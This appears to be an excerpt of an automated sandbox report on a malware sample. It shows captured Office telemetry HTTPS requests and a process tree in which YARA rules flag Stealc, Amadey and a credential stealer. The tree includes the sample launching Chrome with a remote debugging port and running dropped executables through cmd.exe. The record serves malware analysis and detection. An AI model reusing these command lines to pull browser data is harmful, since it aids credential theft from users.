2024-11-11 13:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 64875c1d-901e-0067-55d5-33b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968xlwnmhC1EWR0sv800000004rg00000000dp2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:17 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 8377f4f2-c01e-00a1-16d5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968l4kp6hC1EWRe884000000058g000000008sf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:17 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 55c0a6b4-d01e-0082-2dd5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968c2t8dhC1EWR8s2000000004u0000000003vbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:17 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 1815f977-001e-0028-66d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968glpgnhC1EWR7uec000000056g000000006ck7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:17 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:17 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3ca8cbb8-201e-0096-48d5-33ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133317Z-174f7845968frfdmhC1EWRxxbw0000000530000000006hvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:17 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 01112c78-d01e-002b-1ed5-3325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133317Z-174f7845968cpnpfhC1EWR3afc00000004pg000000006frr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:17 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:17 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: c056ffa7-701e-001e-77d5-33f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133317Z-174f7845968nnm4mhC1EWR1rn400000005200000000000k7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:17 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Target ID:	0
Start time:	08:31:57
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4b0000
File size:	1'792'512 bytes
MD5 hash:	ECFBD10E08D9C96177F20E200B32DB7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1942675827.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1941074085.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1667051199.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:32:03
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:32:04
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2284,i,4785218427255859789,13458864232779102908,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:32:22
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIIIIJKFCA.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:32:22
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:32:22
Start date:	11/11/2024
Path:	C:\Users\user\DocumentsFIIIIJKFCA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFIIIIJKFCA.exe"
Imagebase:	0x190000
File size:	3'275'264 bytes
MD5 hash:	22FACEA29156C5E5E30F204C5A80ADCF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.1973135510.0000000000191000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:32:27
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x6c0000
File size:	3'275'264 bytes
MD5 hash:	22FACEA29156C5E5E30F204C5A80ADCF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2012863863.00000000006C1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:33:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x6c0000
File size:	3'275'264 bytes
MD5 hash:	22FACEA29156C5E5E30F204C5A80ADCF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2911394505.00000000006C1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:33:07
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe"
Imagebase:	0x900000
File size:	3'191'808 bytes
MD5 hash:	E583BA21C7728101B6F48E9060E627A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:33:11
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe"
Imagebase:	0xb00000
File size:	1'792'512 bytes
MD5 hash:	ECFBD10E08D9C96177F20E200B32DB7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2457446943.000000000089E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2457776539.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000003.2417034730.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:33:15
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'275'264 bytes
MD5 hash:	22FACEA29156C5E5E30F204C5A80ADCF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	08:33:20
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe"
Imagebase:	0x9c0000
File size:	2'834'432 bytes
MD5 hash:	E7732C702F3BF803880C9A599985EF08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:33:20
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe"
Imagebase:	0x900000
File size:	3'191'808 bytes
MD5 hash:	E583BA21C7728101B6F48E9060E627A4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2558979343.000000000138A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2601492562.000000000138B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2559683905.000000000138A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2755098437.00000000062B1000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000003.2705966082.0000000008730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2586681389.0000000001389000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2587559356.000000000138B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2569576526.0000000001389000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2546685250.000000000138A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2544353256.0000000001398000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2559975310.000000000138A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:33:29
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe"
Imagebase:	0xb00000
File size:	1'792'512 bytes
MD5 hash:	ECFBD10E08D9C96177F20E200B32DB7C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000003.2586547286.0000000005050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2629590206.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2631391189.00000000014FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:33:37
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe"
Imagebase:	0x9c0000
File size:	2'834'432 bytes
MD5 hash:	E7732C702F3BF803880C9A599985EF08
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:33:45
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe"
Imagebase:	0x900000
File size:	3'191'808 bytes
MD5 hash:	E583BA21C7728101B6F48E9060E627A4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
